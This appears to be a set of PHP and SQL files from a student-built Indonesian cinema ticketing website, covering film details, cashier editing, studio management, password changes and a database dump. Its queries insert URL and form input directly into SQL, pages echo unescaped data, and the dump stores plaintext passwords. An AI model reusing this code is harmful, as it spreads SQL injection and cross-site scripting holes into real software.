d'Ivoire</option> <option value="Croatia">Croatia (Hrvatska)</option> <option value="Cuba">Cuba</option> <option value="Cyprus">Cyprus</option> <option value="Czech Republic">Czech Republic</option> <option value="Denmark">Denmark</option> <option value="Djibouti">Djibouti</option> <option value="Dominica">Dominica</option> <option value="Dominican Republic">Dominican Republic</option> <option value="East Timor">East Timor</option> <option value="Ecuador">Ecuador</option> <option value="Egypt">Egypt</option> <option value="El Salvador">El Salvador</option> <option value="Equatorial Guinea">Equatorial Guinea</option> <option value="Eritrea">Eritrea</option> <option value="Estonia">Estonia</option> <option value="Ethiopia">Ethiopia</option> <option value="Falkland Islands">Falkland Islands (Malvinas)</option> <option value="Faroe Islands">Faroe Islands</option> <option value="Fiji">Fiji</option> <option value="Finland">Finland</option> <option value="France">France</option> <option value="France Metropolitan">France, Metropolitan</option> <option value="French Guiana">French Guiana</option> <option value="French Polynesia">French Polynesia</option> <option value="French Southern Territories">French Southern Territories</option> <option value="Gabon">Gabon</option> <option value="Gambia">Gambia</option> <option value="Georgia">Georgia</option> <option value="Germany">Germany</option> <option value="Ghana">Ghana</option> <option value="Gibraltar">Gibraltar</option> <option value="Greece">Greece</option> <option value="Greenland">Greenland</option> <option value="Grenada">Grenada</option> <option value="Guadeloupe">Guadeloupe</option> <option value="Guam">Guam</option> <option value="Guatemala">Guatemala</option> <option value="Guinea">Guinea</option> <option value="Guinea-Bissau">Guinea-Bissau</option> <option value="Guyana">Guyana</option> <option value="Haiti">Haiti</option> <option value="Heard and McDonald Islands">Heard and Mc Donald Islands</option> <option value="Holy See">Holy See (Vatican City State)</option> <option value="Honduras">Honduras</option> <option value="Hong Kong">Hong Kong</option> <option value="Hungary">Hungary</option> <option value="Iceland">Iceland</option> <option value="India">India</option> <option value="Indonesia">Indonesia</option> <option value="Iran">Iran (Islamic Republic of)</option> <option value="Iraq">Iraq</option> <option value="Ireland">Ireland</option> <option value="Israel">Israel</option> <option value="Italy">Italy</option> <option value="Jamaica">Jamaica</option> <option value="Japan">Japan</option> <option value="Jordan">Jordan</option> <option value="Kazakhstan">Kazakhstan</option> <option value="Kenya">Kenya</option> <option value="Kiribati">Kiribati</option> <option value="Democratic People's Republic of Korea">Korea, Democratic People's Republic of</option> <option value="Korea">Korea, Republic of</option> <option value="Kuwait">Kuwait</option> <option value="Kyrgyzstan">Kyrgyzstan</option> <option value="Lao">Lao People's Democratic Republic</option> <option value="Latvia">Latvia</option> <option value="Lebanon">Lebanon</option> <option value="Lesotho">Lesotho</option> <option value="Liberia">Liberia</option> <option value="Libyan Arab Jamahiriya">Libyan Arab Jamahiriya</option> <option value="Liechtenstein">Liechtenstein</option> <option value="Lithuania">Lithuania</option> <option value="Luxembourg">Luxembourg</option> <option value="Macau">Macau</option> <option value="Macedonia">Macedonia, The Former Yugoslav Republic of</option> <option value="Madagascar">Madagascar</option> <option value="Malawi">Malawi</option> <option value="Malaysia">Malaysia</option> <option value="Maldives">Maldives</option> <option value="Mali">Mali</option> <option value="Malta">Malta</option> <option value="Marshall Islands">Marshall Islands</option> <option value="Martinique">Martinique</option> <option value="Mauritania">Mauritania</option> <option value="Mauritius">Mauritius</option> <option value="Mayotte">Mayotte</option> <option value="Mexico">Mexico</option> <option value="Micronesia">Micronesia, Federated States of</option> <option value="Moldova">Moldova, Republic of</option> <option value="Monaco">Monaco</option> <option value="Mongolia">Mongolia</option> <option value="Montserrat">Montserrat</option> <option value="Morocco">Morocco</option> <option value="Mozambique">Mozambique</option> <option value="Myanmar">Myanmar</option> <option value="Namibia">Namibia</option> <option value="Nauru">Nauru</option> <option value="Nepal">Nepal</option> <option value="Netherlands">Netherlands</option> <option value="Netherlands Antilles">Netherlands Antilles</option> <option value="New Caledonia">New Caledonia</option> <option value="New Zealand">New Zealand</option> <option value="Nicaragua">Nicaragua</option> <option value="Niger">Niger</option> <option value="Nigeria">Nigeria</option> <option value="Niue">Niue</option> <option value="Norfolk Island">Norfolk Island</option> <option value="Northern Mariana Islands">Northern Mariana Islands</option> <option value="Norway">Norway</option> <option value="Oman">Oman</option> <option value="Pakistan">Pakistan</option> <option value="Palau">Palau</option> <option value="Panama">Panama</option> <option value="Papua New Guinea">Papua New Guinea</option> <option value="Paraguay">Paraguay</option> <option value="Peru">Peru</option> <option value="Philippines">Philippines</option> <option value="Pitcairn">Pitcairn</option> <option value="Poland">Poland</option> <option value="Portugal">Portugal</option> <option value="Puerto Rico">Puerto Rico</option> <option value="Qatar">Qatar</option> <option value="Reunion">Reunion</option> <option value="Romania">Romania</option> <option value="Russia">Russian Federation</option> <option value="Rwanda">Rwanda</option> <option value="Saint Kitts and Nevis">Saint Kitts and Nevis</option> <option value="Saint LUCIA">Saint LUCIA</option> <option value="Saint Vincent">Saint Vincent and the Grenadines</option> <option value="Samoa">Samoa</option> <option value="San Marino">San Marino</option> <option value="Sao Tome and Principe">Sao Tome and Principe</option> <option value="Saudi Arabia">Saudi Arabia</option> <option value="Senegal">Senegal</option> <option value="Seychelles">Seychelles</option> <option value="Sierra">Sierra Leone</option> <option value="Singapore">Singapore</option> <option value="Slovakia">Slovakia (Slovak Republic)</option> <option value="Slovenia">Slovenia</option> <option value="Solomon Islands">Solomon Islands</option> <option value="Somalia">Somalia</option> <option value="South Africa">South Africa</option> <option value="South Georgia">South Georgia and the South Sandwich Islands</option> <option value="Span">Spain</option> <option value="SriLanka">Sri Lanka</option> <option value="St. Helena">St. Helena</option> <option value="St. Pierre and Miguelon">St. Pierre and Miquelon</option> <option value="Sudan">Sudan</option> <option value="Suriname">Suriname</option> <option value="Svalbard">Svalbard and Jan Mayen Islands</option> <option value="Swaziland">Swaziland</option> <option value="Sweden">Sweden</option> <option value="Switzerland">Switzerland</option> <option value="Syria">Syrian Arab Republic</option> <option value="Taiwan">Taiwan, Province of China</option> <option value="Tajikistan">Tajikistan</option> <option value="Tanzania">Tanzania, United Republic of</option> <option value="Thailand">Thailand</option> <option value="Togo">Togo</option> <option value="Tokelau">Tokelau</option> <option value="Tonga">Tonga</option> <option value="Trinidad and Tobago">Trinidad and Tobago</option> <option value="Tunisia">Tunisia</option> <option value="Turkey">Turkey</option> <option value="Turkmenistan">Turkmenistan</option> <option value="Turks and Caicos">Turks and Caicos Islands</option> <option value="Tuvalu">Tuvalu</option> <option value="Uganda">Uganda</option> <option value="Ukraine">Ukraine</option> <option value="United Arab Emirates">United Arab Emirates</option> <option value="United Kingdom">United Kingdom</option> <option value="United States" selected>United States</option> <option value="United States Minor Outlying Islands">United States Minor Outlying Islands</option> <option value="Uruguay">Uruguay</option> <option value="Uzbekistan">Uzbekistan</option> <option value="Vanuatu">Vanuatu</option> <option value="Venezuela">Venezuela</option> <option value="Vietnam">Viet Nam</option> <option value="Virgin Islands (British)">Virgin Islands (British)</option> <option value="Virgin Islands (U.S)">Virgin Islands (U.S.)</option> <option value="Wallis and Futana Islands">Wallis and Futuna Islands</option> <option value="Western Sahara">Western Sahara</option> <option value="Yemen">Yemen</option> <option value="Yugoslavia">Yugoslavia</option> <option value="Zambia">Zambia</option> <option value="Zimbabwe">Zimbabwe</option> </select> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Produksi :</label> <div class="col-sm-12"> <input type="text" class="form-control" name="perusahaan" placeholder="Marvel" required> </div> </div> <button type="submit" class="btn btn-success">Submit</button> </form> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- /.container-fluid--> <!-- /.content-wrapper--> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>Copyright © <?=nama;?> 2018</small> </div> </div> </footer> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fa fa-angle-up"></i> </a> <!-- Logout Modal--> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Custom scripts for this page--> <script src="js/sb-admin-datatables.min.js"></script> <script src="js/sb-admin-charts.min.js"></script> </div> </body> </html> <file_sep>/detail.php <?php require_once "config.php"; session_start(); $id = $_GET['id']; $tanggal = date("m/d/y",time()); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title> <?php $q = $conn->query("SELECT judul, YEAR(tgl_rilis) AS tahun FROM film WHERE id_film='$id'"); $f = $q->fetch_assoc(); echo $f['judul'],'&nbsp;','('.$f['tahun'].')'; ?> </title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <!-- Navigation --> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3"><?php echo $f['judul'].' ('.$f['tahun'].')';?> <small>Sinopsis</small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php">Home</a> </li> <li class="breadcrumb-item active"><?php echo $f['judul'].' ('.$f['tahun'].')';?></li> </ol> <?php $a = $conn->query("SELECT * FROM film WHERE id_film = '$id'"); $x = $a->fetch_assoc(); $idadmin = $x['id_admin']; $s = $conn->query("SELECT * FROM admin WHERE id_admin = '$idadmin'"); $z = $s->fetch_assoc(); ?> <!-- Project One --> <div class="row"> <div class="col-md-7"> <img class="img-fluid rounded mb-3 mb-md-0" src="<?php echo "asset/".$x['image'].""; ?>" alt=""> </div> <div class="col-md-5"> <h3><?php echo $f['judul'].' ('.$f['tahun'].')';?></h3> <h6>Posted By : <?php echo $z['nama_admin']; ?></h6> <p> <?php echo ' <p>'.$x['kategori1'].' | '.$x['kategori2'].' | '.$x['kategori3'].' | '.$x['rating'].' | '.$x['durasi'].' menit</p> <label>Tanggal Rilis</label> <p>'.$x['tgl_rilis'].'</p> <label>Sinopsis</label> <p>'.$x['sinopsis'].'</p> <label>Pemain</label> <p>'.$x['artis'].'</p> <label>Negara</label> <p>'.$x['negara'].'</p> <label>Produksi</label> <p>'.$x['produksi'].'</label> '; ?></p> <a class="btn btn-primary" href="<?php echo $x['trailer']?>">Trailer <span class="glyphicon glyphicon-chevron-right"></span> </a> </div> </div> </div> <hr> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html><file_sep>/home/editkasir.php <?php require_once "../config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; $id_admin = $_SESSION['admin']; } if (!isset($_SESSION['admin'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai Admin"); window.location = "../login.php"; </script> '; } elseif (!isset($_GET["id"])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini"); window.location = "../login.php"; </script> '; } $id_kasir = $_GET['id']; $qyu = $conn->query("SELECT * FROM kasir WHERE id_kasir='$id_kasir'"); $hasil = $qyu->fetch_assoc(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?= deskripsi; ?>"> <meta name="author" content="<?= admin; ?>"> <title><?= nama; ?></title> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body class="fixed-nav sticky-footer bg-dark" id="page-top"> <?php include 'header.phtml'; ?> <div class="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php"><?= nama; ?></a> </li> <li class="breadcrumb-item active">Ubah Data Kasir</li> </ol> <!-- Icon Cards--> <div class="row"> <div class="col-lg-6"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Ubah Data Kasir</div> <div class="card-body"> <form action="" method="post"> <?php if ($_POST['email']) { $nama = ucfirst($_POST['nama']); $username = $_POST['user']; $email = $_POST['email']; $jk = $_POST['jk']; $alamat = $_POST['alamat']; $update = "UPDATE kasir SET nama_kasir='$nama', username_kasir='$username', email_kasir='$email', jk_kasir='$jk', alamat_kasir='$alamat' WHERE id_kasir='$id_kasir'"; $submit = $conn->query($update); echo '<script>window.alert("Sukses ubah data diri Kasir");window.location = "kasir.php";</script>'; } ?> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Nama Lengkap</label> <div class="col-sm-8"> <input type="text" class="form-control" name="nama" value="<?php echo $hasil['nama_kasir']; ?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Username</label> <div class="col-sm-8"> <input type="text" class="form-control" name="user" value="<?php echo $hasil['username_kasir']; ?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Email</label> <div class="col-sm-8"> <input type="email" class="form-control" name="email" value="<?php echo $hasil['email_kasir']; ?>" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Jenis Kelamin</label> <div class="col-sm-8"> <?php if ($hasil['jk_kasir'] == "L") { ?> <label><input type="radio" name="jk" value="L" checked> Laki - laki</label> <label><input type="radio" name="jk" value="P"> Perempuan</label> <?php } else { ?> <label><input type="radio" name="jk" value="L"> Laki - laki</label> <label><input type="radio" name="jk" value="P" checked> Perempuan</label> <?php } ?> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Alamat</label> <div class="col-sm-8"> <textarea class="form-control" name="alamat" required=""><?php echo $hasil['alamat_kasir']; ?></textarea> </div> </div> <center><button type="submit" class="btn btn-success">Submit</button></center> </form> </div> <div class="card-footer small text-muted"><?= nama; ?> 2018</div> </div> </div> </div> <!-- /.container-fluid--> <!-- /.content-wrapper--> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>Copyright © <?= nama; ?> 2018</small> </div> </div> </footer> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fa fa-angle-up"></i> </a> <!-- Logout Modal--> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Custom scripts for this page--> <script src="js/sb-admin-datatables.min.js"></script> <script src="js/sb-admin-charts.min.js"></script> </div> </body> </html><file_sep>/tayang.php <?php require_once "config.php"; session_start(); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <h1 class="my-4"><NAME> di <?=nama;?></h1> <!-- Portfolio Section --> <h2>Film Yang Sedang Tayang</h2> <div class="row"> <?php $qyu = $conn->query("SELECT * FROM tayang INNER JOIN film WHERE CURDATE() BETWEEN tanggal_awal AND tanggal_akhir AND tayang.id_film = film.id_film"); while($datanya = $qyu->fetch_array()){ ?> <div class="col-lg-4 col-sm-6 portfolio-item"> <div class="card h-100"> <a href=<?php echo "order.php?id=".$datanya['id_film']."";?>><img class="card-img-top" src="<?php echo "asset/".$datanya['image'].""; ?>" alt=""></a> <div class="card-body"> <h4 class="card-title"> <a href=<?php echo "order.php?id=".$datanya['id_film']."";?>><?php echo "".$datanya['judul'].""; ?></a> </h4> <p class="card-text"><?php echo '<p class="time">'.$datanya['jam1'].' | '.$datanya['jam2'].' | '.$datanya['jam3'].'</p>';?> <a href=<?php echo "detail.php?id=".$datanya['id_film']."";?>>Lihat Sinopsis</a></p> </div> </div> </div> <?php } ?> </div> <!-- /.row --> <!-- Footer --> <footer class="py-5 bg-dark"> <div class="container"> <p class="m-0 text-center text-white">Copyright &copy; <?=nama;?> 2018</p> </div> <!-- /.container --> </footer> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/ubah.php <?php require_once "config.php"; session_start(); if (!isset($_SESSION['username'])) { header("location:index.php"); }elseif(isset($_SESSION['admin'])){ header("location:home"); }elseif(isset($_SESSION['kasir'])){ header("location:home"); } $username = $_SESSION['username']; $id_konsumen = $_SESSION['id_konsumen']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS --> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom styles for this template --> <link href="css/modern-business.css" rel="stylesheet"> </head> <body> <?php include "header.phtml"; ?> <!-- Page Content --> <div class="container"> <!-- Page Heading/Breadcrumbs --> <h1 class="mt-4 mb-3">Ubah Password <small><?=nama;?></small> </h1> <ol class="breadcrumb"> <li class="breadcrumb-item active"> <a href="akunsaya.php">Home</a> </li> <li class="breadcrumb-item"><a href="history.php">History Tiket</a></li> <li class="breadcrumb-item"><a href="topup.php">Top Up Saldo</a></li> <li class="breadcrumb-item">Ubah Password</li> <li class="breadcrumb-item"><a href="edit.php">Edit Profil</a></li> </ol> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Ubah Password</div> <div class="card-body"> <form action="" method="post"> <?php if($_POST){ $plama = $_POST['plama']; $pbaru = $_POST['pbaru']; $encryptplama = password_hash($plama,PASSWORD_DEFAULT); $encryptpbaru = password_hash($pbaru,PASSWORD_DEFAULT); $cek_password = $conn->query("SELECT * FROM konsumen WHERE id_konsumen ='$id_konsumen'"); $cekp = $cek_password->fetch_assoc(); $user_password = $cekp['password_konsumen']; if(password_verify($plama,$user_password)){ $submit = $conn->query("UPDATE konsumen SET password_konsumen='$encrypt<PASSWORD>' WHERE id_konsumen='$id_konsumen'"); echo '<div class="alert alert-success">Sukses, Password baru anda adalah '.$pbaru.'</div>'; }else{ echo '<div class="alert alert-danger">Password Lama anda salah!</div>'; } } ?> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Password Lama :</label> <div class="col-sm-12"> <input type="password" class="form-control" placeholder="*******" name="plama" required> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-12 control-label">Password Baru :</label> <div class="col-sm-12"> <input type="password" class="form-control" placeholder="*******" name="pbaru" required> <br> <button type="submit" class="btn btn-success col-sm-12">Ubah</button> </div> </div> </form> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- /.container --> <!-- Bootstrap core JavaScript --> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> </body> </html> <file_sep>/home/studio.php <?php require_once "../config.php"; session_start(); if (isset($_SESSION['username'])) { $username = $_SESSION['username']; $id_kasir = $_SESSION['kasir']; } if (!isset($_SESSION['kasir'])) { echo ' <script> window.alert("Anda Tidak Berhak Mengakses Halaman Ini Karena Anda Belum Login Sebagai Kasir"); window.location = "../login.php"; </script> '; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="<?=deskripsi;?>"> <meta name="author" content="<?=admin;?>"> <title><?=nama;?></title> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body class="fixed-nav sticky-footer bg-dark" id="page-top"> <?php include 'header.phtml'; ?> <style type="text/css"> .dataTables_filter,.dataTables_length { display: none; } </style> <div class="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="index.php"><?=nama;?></a> </li> <li class="breadcrumb-item active">Tambah Studio</li> </ol> <!-- Icon Cards--> <div class="row"> <div class="col-lg-8"> <!-- Example Bar Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-bar-chart"></i> Total Studio</div> <div class="card-body"> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>Nama Studio</th> <th>Kapasitas Orang</th> <th>Harga</th> <th>Pilihan</th> </tr> </thead> <tfoot> <tr> <th>Nama Studio</th> <th>Kapasitas Orang</th> <th>Harga</th> <th>Pilihan</th> </tr> </tfoot> <tbody> <?php $qyu = $conn->query("SELECT * FROM studio"); while($datanya = $qyu->fetch_array()){ ?> <tr> <td><?php echo $datanya['nama']; ?></td> <td><?php echo $datanya['kapasitas']; ?></td> <td><?php echo $datanya['harga']; ?></td> <td><a href="editstudio.php?id=<?php echo $datanya['id'];?>">Ubah</a> / <a href="hapusstudio.php?id=<?php echo $datanya['id'];?>" onclick="return confirm('Anda yakin akan menghapus data?')">Hapus</a> </td> </tr> <?php } ?> </tbody> </table> </div> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> <div class="col-lg-4"> <!-- Example Pie Chart Card--> <div class="card mb-3"> <div class="card-header"> <i class="fa fa-pie-chart"></i> Tambah Studio</div> <div class="card-body"> <form action="" method="post"> <?php if($_POST['nama']){ $nama = ucfirst($_POST['nama']); $kapasitas = $_POST['kapasitas']; $harga = $_POST['harga']; $cek_nama = $conn->query("SELECT * FROM studio WHERE nama ='".$nama."'"); $has = $cek_nama->fetch_array(); if($has){ echo '<div class="alert alert-danger">Nama Studio sudah ada!</div>'; }else{ $daftar = "INSERT INTO studio VALUES (NULL, '$nama', '$kapasitas', '$harga')"; $submit = $conn->query($daftar); if ($conn->errno) { printf("Errormessage: %s\n", $conn->error); }else{ echo '<script>window.alert("Sukses..");window.location = "studio.php";</script>'; } } } ?> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Nama Studio</label> <div class="col-sm-12"> <input type="text" class="form-control" name="nama" placeholder="Platinum" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Kapasitas Orang</label> <div class="col-sm-12"> <input type="number" class="form-control" name="kapasitas" placeholder="40" required=""> </div> </div> <div class="form-group"> <label for="nama" class="col-sm-6 control-label">Harga perOrang</label> <div class="col-sm-12"> <input type="number" class="form-control" name="harga" placeholder="35000" required=""> </div> </div> <button type="submit" class="btn btn-success">Submit</button> </form> </div> <div class="card-footer small text-muted"><?=nama;?> 2018</div> </div> </div> </div> <!-- /.container-fluid--> <!-- /.content-wrapper--> <footer class="sticky-footer"> <div class="container"> <div class="text-center"> <small>Copyright © <?=nama;?> 2018</small> </div> </div> </footer> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fa fa-angle-up"></i> </a> <!-- Logout Modal--> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Custom scripts for this page--> <script src="js/sb-admin-datatables.min.js"></script> <script src="js/sb-admin-charts.min.js"></script> </div> </body> </html> <file_sep>/db/bioskop.sql -- phpMyAdmin SQL Dump -- version 4.8.0 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Jul 24, 2018 at 01:39 PM -- Server version: 10.1.31-MariaDB -- PHP Version: 7.2.4 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `bioskop` -- -- -------------------------------------------------------- -- -- Table structure for table `admin` -- CREATE TABLE `admin` ( `id_admin` int(5) NOT NULL, `nama_admin` varchar(30) NOT NULL, `email_admin` varchar(55) NOT NULL, `password_admin` varchar(30) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `admin` -- INSERT INTO `admin` (`id_admin`, `nama_admin`, `email_admin`, `password_admin`) VALUES (1, 'Aa Suhendar', '<EMAIL>', '<PASSWORD>'), (2, 'admin', '<PASSWORD>', '<PASSWORD>'); -- -------------------------------------------------------- -- -- Table structure for table `film` -- CREATE TABLE `film` ( `id_film` int(5) NOT NULL, `image` varchar(60) NOT NULL, `judul` varchar(30) NOT NULL, `trailer` varchar(100) NOT NULL, `tgl_rilis` date NOT NULL, `durasi` int(3) NOT NULL, `sinopsis` text, `artis` text, `kategori1` varchar(20) NOT NULL, `kategori2` varchar(20) DEFAULT NULL, `kategori3` varchar(20) DEFAULT NULL, `rating` varchar(2) DEFAULT NULL, `negara` varchar(20) DEFAULT NULL, `produksi` varchar(60) DEFAULT NULL, `id_kasir` int(5) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `film` -- INSERT INTO `film` (`id_film`, `image`, `judul`, `trailer`, `tgl_rilis`, `durasi`, `sinopsis`, `artis`, `kategori1`, `kategori2`, `kategori3`, `rating`, `negara`, `produksi`, `id_kasir`) VALUES (1, 'The Matrix Reloaded.jpg', 'The Matrix Reloaded', 'https://www.youtube.com/watch?v=vKQi3bBA1y8', '2018-07-01', 139, 'Bercerita tentang bagaimana mendapat nilai A', '<NAME>, <NAME>, <NAME>, <NAME>, <NAME>', 'Action', 'Crime', 'Sci-Fi', 'BO', 'United States', 'Warner Bros. Pictures', 6), (2, 'Titanic.jpg', 'Titanic', 'https://www.youtube.com/watch?v=tXbGHqiAmME', '2018-07-18', 194, 'Rose mati lemas, saat bermain sebagai gadis masyarakat elit, menghadiri pesta, berdandan dan terus-menerus dicermati. Ketika dia bertemu Jack di kapal Titanic, hidupnya berubah untuk selamanya.', '<NAME>, <NAME>, <NAME>.', 'Drama', 'Romance', 'Adventure', 'R', 'United States', '20th Century Fox', 6), (3, 'Mongol.jpg', 'Mongol', 'https://www.youtube.com/watch?v=xrzXIaTt99U', '2018-07-18', 133, 'Menceritakan tentang pahlawan pembela kebenaran', 'Adit KR, Gilang maulana, Kurnia, <NAME>, <NAME>', 'Action', 'War', 'Comedy', 'R', 'United States', 'Marvel Studios', 6), (4, 'Mongol.jpg', 'Mongol', 'https://www.youtube.com/watch?v=tXbGHqiAmME', '2018-07-02', 60, 'Menceritakan tentang pahlawan yang membela kebenaran', 'Adit KR', 'Action', 'Action', 'Action', 'SU', 'United States', 'Erry', 7); -- -------------------------------------------------------- -- -- Table structure for table `kasir` -- CREATE TABLE `kasir` ( `id_kasir` int(5) NOT NULL, `nama_kasir` varchar(30) NOT NULL, `username_kasir` varchar(30) NOT NULL, `password_kasir` varchar(55) NOT NULL, `email_kasir` varchar(55) NOT NULL, `jk_kasir` varchar(1) NOT NULL, `alamat_kasir` varchar(55) NOT NULL, `id_admin` int(5) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Dumping data for table `kasir` -- INSERT INTO `kasir` (`id_kasir`, `nama_kasir`, `username_kasir`, `password_kasir`, `email_kasir`, `jk_kasir`, `alamat_kasir`, `id_admin`) VALUES (6, '<PASSWORD>', '<PASSWORD>', '<PASSWORD>', '<EMAIL>', 'L', '<PASSWORD>', 1), (7, 'Kasir', 'kasir', 'kasir', '<EMAIL>', 'L', 'Jl.coblong wetan batununggal - bandung', 2); -- -------------------------------------------------------- -- -- Table structure for table `konsumen` -- CREATE TABLE `konsumen` ( `id_konsumen` int(5) UNSIGNED ZEROFILL NOT NULL, `fname_konsumen` varchar(20) NOT NULL, `lname_konsumen` varchar(20) NOT NULL, `jk_konsumen` 